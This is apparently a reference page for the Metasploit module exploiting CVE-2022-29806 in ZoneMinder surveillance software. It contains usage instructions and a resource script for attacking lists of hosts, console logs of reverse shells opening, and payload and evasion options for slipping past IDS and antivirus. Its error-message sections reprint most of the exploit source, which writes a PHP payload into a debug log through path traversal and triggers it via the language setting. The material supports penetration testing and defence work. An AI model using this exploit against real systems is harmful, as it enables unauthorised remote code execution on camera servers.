ZoneMinder Language Settings Remote Code Execution - Metasploit

This page contains detailed information about how to use the exploit/unix/webapp/zoneminder_lang_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: ZoneMinder Language Settings Remote Code Execution
Module: exploit/unix/webapp/zoneminder_lang_exec
Source code: modules/exploits/unix/webapp/zoneminder_lang_exec.rb
Disclosure date: 2022-04-27
Last modification time: 2022-05-04 17:28:37 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2022-29806

This module exploits arbitrary file write in debug log file option chained with a path traversal in language settings that leads to a remote code execution in ZoneMinder surveillance software versions before 1.36.13 and before 1.37.11

Module Ranking and Traits

Module Ranking:

• excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

• repeatable-session: The module is expected to get a shell every time it runs.

Stability:

• crash-safe: Module should not crash the service.

Side Effects:

• ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
• artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage

Using zoneminder_lang_exec against a single host

Normally, you can use exploit/unix/webapp/zoneminder_lang_exec this way:

msf > use exploit/unix/webapp/zoneminder_lang_exec
msf exploit(zoneminder_lang_exec) > show targets
    ... a list of targets ...
msf exploit(zoneminder_lang_exec) > set TARGET target-id
msf exploit(zoneminder_lang_exec) > show options
    ... show and set options ...
msf exploit(zoneminder_lang_exec) > exploit

Using zoneminder_lang_exec against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your zoneminder_lang_exec will be using:

1. Do: use exploit/multi/handler
2. Do: set PAYLOAD [payload]
3. Set other options required by the payload
4. Do: set EXITONSESSION false
5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/unix/webapp/zoneminder_lang_exec")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

• RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base

docker run -d --rm -ti -p 1080:80 \
    -e TZ='Europe/London' \
    --shm-size="512m" \
    --name zoneminder \
    zoneminderhq/zoneminder:latest-ubuntu18.04

msf6 > use exploit/unix/webapp/zoneminder_lang_exec
[*] Using configured payload php/reverse_perl
msf6 exploit(unix/webapp/zoneminder_lang_exec) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2
msf6 exploit(unix/webapp/zoneminder_lang_exec) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(unix/webapp/zoneminder_lang_exec) > set VERBOSE true
VERBOSE => true
msf6 exploit(unix/webapp/zoneminder_lang_exec) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[+] Version Detected: 1.36.4
[*] Leak installation directory path
[+] Path: /usr/share/zoneminder/www
[+] Shell: ../../../../../tmp/rmdQiqoLFCsov.php
[*] Command shell session 1 opened (172.17.0.1:4444 -> 172.17.0.2:58932) at 2022-04-27 03:36:31 +0700

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

msf6 > use exploit/unix/webapp/zoneminder_lang_exec
[*] Using configured payload php/reverse_perl
msf6 exploit(unix/webapp/zoneminder_lang_exec) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2
msf6 exploit(unix/webapp/zoneminder_lang_exec) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(unix/webapp/zoneminder_lang_exec) > set USERNAME admin
USERNAME => admin
msf6 exploit(unix/webapp/zoneminder_lang_exec) > set PASSWORD password
PASSWORD => password
msf6 exploit(unix/webapp/zoneminder_lang_exec) > set VERBOSE true
VERBOSE => true
msf6 exploit(unix/webapp/zoneminder_lang_exec) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[+] Version Detected: 1.36.4
[*] Leak installation directory path
[+] Path: /usr/share/zoneminder/www
[+] Shell: ../../../../../tmp/Cn3PqXcN9VlAR98.php
[*] Command shell session 1 opened (172.17.0.1:4444 -> 172.17.0.2:51944) at 2022-04-27 18:53:14 +0700

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

msf6 > use exploit/unix/webapp/zoneminder_lang_exec
[*] Using configured payload php/reverse_perl
msf6 exploit(unix/webapp/zoneminder_lang_exec) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2
msf6 exploit(unix/webapp/zoneminder_lang_exec) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(unix/webapp/zoneminder_lang_exec) > set VERBOSE true
VERBOSE => true
msf6 exploit(unix/webapp/zoneminder_lang_exec) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[-] Service found, but authentication failed
[-] Exploit aborted due to failure: not-vulnerable: Target is not vulnerable.
[*] Exploit completed, but no session was created.

Go back to menu.

Msfconsole Usage

Here is how the unix/webapp/zoneminder_lang_exec exploit module looks in the msfconsole:

msf6 > use exploit/unix/webapp/zoneminder_lang_exec

[*] Using configured payload php/reverse_perl
msf6 exploit(unix/webapp/zoneminder_lang_exec) > show info

       Name: ZoneMinder Language Settings Remote Code Execution
     Module: exploit/unix/webapp/zoneminder_lang_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-04-27

Provided by:
  krastanoel

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Automatic Target

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  PASSWORD   admin            yes       The ZoneMinder password
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /zm/             yes       The ZoneMinder path
  USERNAME   admin            yes       The ZoneMinder username
  VHOST                       no        HTTP server virtual host

Payload information:

Description:
  This module exploits arbitrary file write in debug log file option 
  chained with a path traversal in language settings that leads to a 
  remote code execution in ZoneMinder surveillance software versions 
  before 1.36.13 and before 1.37.11

References:
  https://nvd.nist.gov/vuln/detail/CVE-2022-29806
  https://krastanoel.com/cve/2022-29806

Module Options

This is a complete list of options available in the unix/webapp/zoneminder_lang_exec exploit:

msf6 exploit(unix/webapp/zoneminder_lang_exec) > show options

Module options (exploit/unix/webapp/zoneminder_lang_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   admin            yes       The ZoneMinder password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /zm/             yes       The ZoneMinder path
   USERNAME   admin            yes       The ZoneMinder username
   VHOST                       no        HTTP server virtual host

Payload options (php/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

Advanced Options

Here is a complete list of advanced options supported by the unix/webapp/zoneminder_lang_exec exploit:

msf6 exploit(unix/webapp/zoneminder_lang_exec) > show advanced

Module advanced options (exploit/unix/webapp/zoneminder_lang_exec):

   Name                    Current Setting                               Required  Description
   ----                    ---------------                               --------  -----------
   AutoCheck               true                                          no        Run check before exploit
   ContextInformationFile                                                no        The information file that contains context information
   DOMAIN                  WORKSTATION                                   yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                          no        Conform to IIS, should work for most servers. Only set to false for non-IIS server
                                                                                   s
   DisablePayloadHandler   false                                         no        Disable the handler code for the selected payload
   EnableContextEncoding   false                                         no        Use transient context when encoding payloads
   FingerprintCheck        true                                          no        Conduct a pre-exploit fingerprint verification
   ForceExploit            false                                         no        Override check result
   HttpClientTimeout                                                     no        HTTP connection and receive timeout
   HttpPassword                                                          no        The HTTP password to specify for authentication
   HttpRawHeaders                                                        no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                         no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                       no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                         no        Show HTTP headers only in HttpTrace
   HttpUsername                                                          no        The HTTP username to specify for authentication
   SSLVersion              Auto                                          yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)
                                                                                    (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent               Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_  no        The User-Agent header to use for all requests
                           1) AppleWebKit/537.36 (KHTML, like Gecko) Ch
                           rome/98.0.4758.81 Safari/537.36
   VERBOSE                 false                                         no        Enable detailed status messages
   WORKSPACE                                                             no        Specify the workspace for this module
   WfsDelay                2                                             no        Additional delay in seconds to wait for a session

Payload advanced options (php/reverse_perl):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the unix/webapp/zoneminder_lang_exec module can exploit:

msf6 exploit(unix/webapp/zoneminder_lang_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Target

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the unix/webapp/zoneminder_lang_exec exploit:

msf6 exploit(unix/webapp/zoneminder_lang_exec) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/generic/custom                                       normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/generic/ssh/interact                                 normal  No     Interact with Established SSH Connection
   4   payload/multi/meterpreter/reverse_http                       normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   5   payload/multi/meterpreter/reverse_https                      normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
   6   payload/php/bind_perl                                        normal  No     PHP Command Shell, Bind TCP (via Perl)
   7   payload/php/bind_perl_ipv6                                   normal  No     PHP Command Shell, Bind TCP (via perl) IPv6
   8   payload/php/bind_php                                         normal  No     PHP Command Shell, Bind TCP (via PHP)
   9   payload/php/bind_php_ipv6                                    normal  No     PHP Command Shell, Bind TCP (via php) IPv6
   10  payload/php/download_exec                                    normal  No     PHP Executable Download and Execute
   11  payload/php/exec                                             normal  No     PHP Execute Command
   12  payload/php/meterpreter/bind_tcp                             normal  No     PHP Meterpreter, Bind TCP Stager
   13  payload/php/meterpreter/bind_tcp_ipv6                        normal  No     PHP Meterpreter, Bind TCP Stager IPv6
   14  payload/php/meterpreter/bind_tcp_ipv6_uuid                   normal  No     PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
   15  payload/php/meterpreter/bind_tcp_uuid                        normal  No     PHP Meterpreter, Bind TCP Stager with UUID Support
   16  payload/php/meterpreter/reverse_tcp                          normal  No     PHP Meterpreter, PHP Reverse TCP Stager
   17  payload/php/meterpreter/reverse_tcp_uuid                     normal  No     PHP Meterpreter, PHP Reverse TCP Stager
   18  payload/php/meterpreter_reverse_tcp                          normal  No     PHP Meterpreter, Reverse TCP Inline
   19  payload/php/reverse_perl                                     normal  No     PHP Command, Double Reverse TCP Connection (via Perl)
   20  payload/php/reverse_php                                      normal  No     PHP Command Shell, Reverse TCP (via PHP)

Evasion Options

Here is the full list of possible evasion options supported by the unix/webapp/zoneminder_lang_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(unix/webapp/zoneminder_lang_exec) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-r
                                                            andom)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages

This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No response from the web service

Here is a relevant code snippet related to the "No response from the web service" error message:

56:	  def check
57:	    res = send_request_cgi(
58:	      'uri' => normalize_uri(target_uri.path, '/index.php'),
59:	      'method' => 'GET'
60:	    )
61:	    return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?
62:	    return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200
63:	
64:	    if res.body =~ /ZoneMinder/
65:	      csrf_magic = get_csrf_magic(res)
66:	      res = authenticate(csrf_magic) if res.body =~ /ZoneMinder Login/

Check TARGETURI - unexpected HTTP response code: <RES.CODE>

Here is a relevant code snippet related to the "Check TARGETURI - unexpected HTTP response code: <RES.CODE>" error message:

57:	    res = send_request_cgi(
58:	      'uri' => normalize_uri(target_uri.path, '/index.php'),
59:	      'method' => 'GET'
60:	    )
61:	    return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?
62:	    return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200
63:	
64:	    if res.body =~ /ZoneMinder/
65:	      csrf_magic = get_csrf_magic(res)
66:	      res = authenticate(csrf_magic) if res.body =~ /ZoneMinder Login/
67:	      return Exploit::CheckCode::Safe('Authentication failed') if res.body =~ %r{<title>ZM - Login</title>}

Authentication failed

Here is a relevant code snippet related to the "Authentication failed" error message:

62:	    return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200
63:	
64:	    if res.body =~ /ZoneMinder/
65:	      csrf_magic = get_csrf_magic(res)
66:	      res = authenticate(csrf_magic) if res.body =~ /ZoneMinder Login/
67:	      return Exploit::CheckCode::Safe('Authentication failed') if res.body =~ %r{<title>ZM - Login</title>}
68:	
69:	      res = send_request_cgi(
70:	        'uri' => normalize_uri(target_uri.path, '/index.php'),
71:	        'method' => 'GET',
72:	        'keep_cookies' => true

Target is not a ZoneMinder web server

Here is a relevant code snippet related to the "Target is not a ZoneMinder web server" error message:

70:	        'uri' => normalize_uri(target_uri.path, '/index.php'),
71:	        'method' => 'GET',
72:	        'keep_cookies' => true
73:	      )
74:	    else
75:	      return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server')
76:	    end
77:	
78:	    res.body.match(/v(1.\d+.\d+)/)
79:	    version = Regexp.last_match(1)
80:	    unless version

Unable to determine ZoneMinder version

Here is a relevant code snippet related to the "Unable to determine ZoneMinder version" error message:

76:	    end
77:	
78:	    res.body.match(/v(1.\d+.\d+)/)
79:	    version = Regexp.last_match(1)
80:	    unless version
81:	      return Exploit::CheckCode::Safe('Unable to determine ZoneMinder version')
82:	    end
83:	
84:	    version = Rex::Version.new(version)
85:	
86:	    return Exploit::CheckCode::Appears("Version Detected: #{version}") if version <= Rex::Version.new('1.37.10')

Version Detected: <VERSION>

Here is a relevant code snippet related to the "Version Detected: <VERSION>" error message:

81:	      return Exploit::CheckCode::Safe('Unable to determine ZoneMinder version')
82:	    end
83:	
84:	    version = Rex::Version.new(version)
85:	
86:	    return Exploit::CheckCode::Appears("Version Detected: #{version}") if version <= Rex::Version.new('1.37.10')
87:	
88:	    Exploit::CheckCode::Safe("Version Detected: #{version}")
89:	  rescue ::Rex::ConnectionError
90:	    return Exploit::CheckCode::Unknown('Could not connect to the web service')
91:	  end

Version Detected: <VERSION>

Here is a relevant code snippet related to the "Version Detected: <VERSION>" error message:

83:	
84:	    version = Rex::Version.new(version)
85:	
86:	    return Exploit::CheckCode::Appears("Version Detected: #{version}") if version <= Rex::Version.new('1.37.10')
87:	
88:	    Exploit::CheckCode::Safe("Version Detected: #{version}")
89:	  rescue ::Rex::ConnectionError
90:	    return Exploit::CheckCode::Unknown('Could not connect to the web service')
91:	  end
92:	
93:	  def exploit

Could not connect to the web service

Here is a relevant code snippet related to the "Could not connect to the web service" error message:

85:	
86:	    return Exploit::CheckCode::Appears("Version Detected: #{version}") if version <= Rex::Version.new('1.37.10')
87:	
88:	    Exploit::CheckCode::Safe("Version Detected: #{version}")
89:	  rescue ::Rex::ConnectionError
90:	    return Exploit::CheckCode::Unknown('Could not connect to the web service')
91:	  end
92:	
93:	  def exploit
94:	    unless datastore['AutoCheck']
95:	      cookie_jar.clear

Authentication failed

Here is a relevant code snippet related to the "Authentication failed" error message:

92:	
93:	  def exploit
94:	    unless datastore['AutoCheck']
95:	      cookie_jar.clear
96:	      res = authenticate
97:	      fail_with(Failure::NoAccess, 'Authentication failed') if res&.body =~ %r{<title>ZM - Login</title>}
98:	    end
99:	
100:	    vprint_status('Leak installation directory path')
101:	    random_path = rand_text_alphanumeric(6..15)
102:	    res = send_request_cgi(

Failed to leak install path

Here is a relevant code snippet related to the "Failed to leak install path" error message:

104:	      'method' => 'GET',
105:	      'keep_cookies' => true,
106:	      'vars_get' => { 'view' => random_path }
107:	    )
108:	
109:	    fail_with(Failure::UnexpectedReply, 'Failed to leak install path') unless res
110:	
111:	    res = send_request_cgi(
112:	      'uri' => normalize_uri(target_uri.path, '/index.php'),
113:	      'method' => 'GET',
114:	      'keep_cookies' => true,

Unable to get current language

Here is a relevant code snippet related to the "Unable to get current language" error message:

118:	    csrf_magic = get_csrf_magic(res)
119:	    current_lang = res&.get_html_document&.at(
120:	      'select[@name="newConfig[ZM_LANG_DEFAULT]"]
121:	        option[@selected="selected"]'
122:	    )&.text
123:	    fail_with(Failure::UnexpectedReply, 'Unable to get current language') if res.nil? || current_lang.nil?
124:	
125:	    data = 'view=request&request=log&task=query&limit=10'
126:	    data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
127:	    res = send_request_cgi(
128:	      'method' => 'POST',

Unable to get valid JSON response

Here is a relevant code snippet related to the "Unable to get valid JSON response" error message:

129:	      'uri' => normalize_uri(target_uri.path, '/index.php'),
130:	      'data' => data.to_s,
131:	      'keep_cookies' => true
132:	    )
133:	
134:	    fail_with(Failure::UnexpectedReply, 'Unable to get valid JSON response') if res.nil? || res&.body.blank?
135:	
136:	    res.body.match(/(\{"result":.*})/)
137:	    request_log = JSON.parse(Regexp.last_match(1)).with_indifferent_access
138:	    if request_log.key?(:rows) # Check for latest version key first v1.36.x
139:	      request_log_key = 'rows'

Service found, but unable to find request log key

Here is a relevant code snippet related to the "Service found, but unable to find request log key" error message:

138:	    if request_log.key?(:rows) # Check for latest version key first v1.36.x
139:	      request_log_key = 'rows'
140:	    elsif request_log.key?(:logs)
141:	      request_log_key = 'logs'
142:	    else
143:	      fail_with(Failure::UnexpectedReply, 'Service found, but unable to find request log key')
144:	    end
145:	
146:	    request_log = request_log[request_log_key].select { |e| e['Message'] =~ /'#{random_path}'/ }.first
147:	    if request_log
148:	      path = request_log['File'].split('/')[0..-2].join('/')

Service found, but unable to leak installation directory path

Here is a relevant code snippet related to the "Service found, but unable to leak installation directory path" error message:

146:	    request_log = request_log[request_log_key].select { |e| e['Message'] =~ /'#{random_path}'/ }.first
147:	    if request_log
148:	      path = request_log['File'].split('/')[0..-2].join('/')
149:	      vprint_good("Path: #{path}")
150:	    else
151:	      fail_with(Failure::UnexpectedReply, 'Service found, but unable to leak installation directory path')
152:	    end
153:	
154:	    fname = "#{rand_text_alphanumeric(6..15)}.php"
155:	    traverse_path = "#{path}/lang".split('/')[1..].map { '../' }.join
156:	    shell = "#{traverse_path}tmp/#{fname}"

Unable to set LOG_DEBUG_FILE option

Here is a relevant code snippet related to the "Unable to set LOG_DEBUG_FILE option" error message:

161:	      'uri' => normalize_uri(target_uri.path, '/index.php'),
162:	      'data' => data.to_s,
163:	      'keep_cookies' => true
164:	    )
165:	
166:	    fail_with(Failure::UnexpectedReply, 'Unable to set LOG_DEBUG_FILE option') if res.nil? || res&.code != 302
167:	    vprint_good("Shell: #{shell}")
168:	
169:	    p = %(<?php #{payload.encoded} ?>)
170:	    data = "view=request&request=log&task=create&level=ERR&message=#{p}&file=#{shell}"
171:	    data += "&__csrf_magic=#{csrf_magic}" if csrf_magic

Failed to receive a response

Here is a relevant code snippet related to the "Failed to receive a response" error message:

174:	      'uri' => normalize_uri(target_uri.path, '/index.php'),
175:	      'data' => data.to_s,
176:	      'keep_cookies' => true
177:	    )
178:	
179:	    fail_with(Failure::UnexpectedReply, 'Failed to receive a response') unless res
180:	
181:	    result = JSON.parse(res.body)['result']
182:	    fail_with(Failure::UnexpectedReply, 'Failed to write payload') unless result
183:	    fail_with(Failure::UnexpectedReply, 'Unable to write payload to LOG_DEBUG_FILE') if result != 'Ok'
184:	

Failed to write payload

Here is a relevant code snippet related to the "Failed to write payload" error message:

177:	    )
178:	
179:	    fail_with(Failure::UnexpectedReply, 'Failed to receive a response') unless res
180:	
181:	    result = JSON.parse(res.body)['result']
182:	    fail_with(Failure::UnexpectedReply, 'Failed to write payload') unless result
183:	    fail_with(Failure::UnexpectedReply, 'Unable to write payload to LOG_DEBUG_FILE') if result != 'Ok'
184:	
185:	    # trigger the shell
186:	    lang = shell.gsub(/\.php/, '')
187:	    data = "view=options&tab=system&action=options&newConfig[ZM_LANG_DEFAULT]=#{lang}"

Unable to write payload to LOG_DEBUG_FILE

Here is a relevant code snippet related to the "Unable to write payload to LOG_DEBUG_FILE" error message:

178:	
179:	    fail_with(Failure::UnexpectedReply, 'Failed to receive a response') unless res
180:	
181:	    result = JSON.parse(res.body)['result']
182:	    fail_with(Failure::UnexpectedReply, 'Failed to write payload') unless result
183:	    fail_with(Failure::UnexpectedReply, 'Unable to write payload to LOG_DEBUG_FILE') if result != 'Ok'
184:	
185:	    # trigger the shell
186:	    lang = shell.gsub(/\.php/, '')
187:	    data = "view=options&tab=system&action=options&newConfig[ZM_LANG_DEFAULT]=#{lang}"
188:	    data += "&__csrf_magic=#{csrf_magic}" if csrf_magic

Unable to trigger the payload

Here is a relevant code snippet related to the "Unable to trigger the payload" error message:

190:	      'method' => 'POST',
191:	      'uri' => normalize_uri(target_uri.path, '/index.php'),
192:	      'data' => data.to_s,
193:	      'keep_cookies' => true
194:	    )
195:	    fail_with(Failure::UnexpectedReply, 'Unable to trigger the payload') if res.nil? || res&.code != 302
196:	
197:	    # cleanup
198:	    data = Rack::Utils.parse_nested_query(data)
199:	    data['newConfig']['ZM_LANG_DEFAULT'] = current_lang
200:	    res = send_request_cgi(

Unable to reset language to default

Here is a relevant code snippet related to the "Unable to reset language to default" error message:

201:	      'method' => 'POST',
202:	      'uri' => normalize_uri(target_uri.path, '/index.php'),
203:	      'data' => data.to_query,
204:	      'keep_cookies' => true
205:	    )
206:	    vprint_warning('Unable to reset language to default') if res.nil? || res&.code != 200
207:	
208:	    data['tab'] = 'logging'
209:	    data['newConfig']['ZM_LOG_DEBUG'] = 0
210:	    data['newConfig']['ZM_LOG_DEBUG_FILE'] = ''
211:	    res = send_request_cgi(

Unable to reset debug option

Here is a relevant code snippet related to the "Unable to reset debug option" error message:

212:	      'method' => 'POST',
213:	      'uri' => normalize_uri(target_uri.path, '/index.php'),
214:	      'data' => data.to_query,
215:	      'keep_cookies' => true
216:	    )
217:	    vprint_warning('Unable to reset debug option') if res.nil? || res&.code != 302
218:	  rescue ::Rex::ConnectionError
219:	    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
220:	  end
221:	
222:	  private

<PEER> - Could not connect to the web service

Here is a relevant code snippet related to the "<PEER> - Could not connect to the web service" error message:

214:	      'data' => data.to_query,
215:	      'keep_cookies' => true
216:	    )
217:	    vprint_warning('Unable to reset debug option') if res.nil? || res&.code != 302
218:	  rescue ::Rex::ConnectionError
219:	    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
220:	  end
221:	
222:	  private
223:	
224:	  def get_csrf_magic(res)

Go back to menu.

Related Pull Requests

• #16531 Merged Pull Request: Fix login crash for pihole modules
• #16542 Merged Pull Request: Fix nil channel id when trying to close channels
• #16529 Merged Pull Request: Expose options for logging to a file in mettle
• #16540 Merged Pull Request: Update zeitwerk to ignore go pkg folder
• #16533 Merged Pull Request: Fix -w option flag for Meterpreter reg command
• #16538 Merged Pull Request: Update meterpreter encryptor loader to support python 3.4
• #16491 Merged Pull Request: Fix crashes on timeouts for multiple modules and Meterpreter
• #16526 Merged Pull Request: Update metasploit payloads to 2.0.87
• #16528 Merged Pull Request: Update git-blame-ignore-revs to ignore tabs to spaces commits
• #16530 Merged Pull Request: Update PiHole module to not wait for sudo input
• #16514 Merged Pull Request: Add Zoneminder lang exec module

References

• CVE-2022-29806
• https://krastanoel.com/cve/2022-29806

See Also

Check also the following modules related to this module:

• exploit/unix/webapp/zoneminder_packagecontrol_exec
• exploit/unix/webapp/trixbox_langchoice
• exploit/multi/http/apache_couchdb_erlang_rce
• exploit/multi/misc/erlang_cookie_rce
• exploit/multi/postgres/postgres_createlang
